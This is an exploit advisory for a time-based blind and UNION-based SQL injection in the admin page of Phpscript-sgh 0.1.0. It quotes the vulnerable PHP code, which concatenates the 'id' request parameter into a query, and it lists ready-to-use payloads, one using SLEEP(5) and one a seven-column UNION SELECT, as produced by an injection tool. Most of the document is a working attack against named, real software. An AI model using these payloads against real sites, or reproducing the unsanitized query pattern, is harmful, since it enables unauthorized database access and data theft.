Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection

# Exploit Title: Phpscript-sgh 0.1.0 - Time Based Blind SQL Injection
# Date: 2020-12-04
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/geraked/phpscript-sgh
# Software Link: https://github.com/geraked/phpscript-sgh
# Version: 0.1.0
# Tested on: Kali Linux

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Source code(localhost/admin/admins.php):

if ($_REQUEST['op']=='add') {
	$id = $username = $password = $conf_password = $firstname = $lastname = 
$email = $pic = $_SESSION['aapic'] = "";
	}
	else {
		$result	= $conn->query("SELECT * FROM sgh_admins WHERE 
id=".test_input($_REQUEST['id'])." LIMIT 1");
		$row	= $result->fetch_assoc();
		extract($row);
		$_SESSION['aapic'] = $pic;
	}

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Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: op=edit&id=1 AND (SELECT 9367 FROM 
(SELECT(SLEEP(5)))pBEE)&_pjax=#pjax-container

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: op=edit&id=-5015 UNION ALL SELECT 
NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b716271,0x536b4e4a775448674c73477175675a4c58476659474f524b535456706e7276474251424a4f67744b,0x717a626b71),NULL-- 
-&_pjax=#pjax-container
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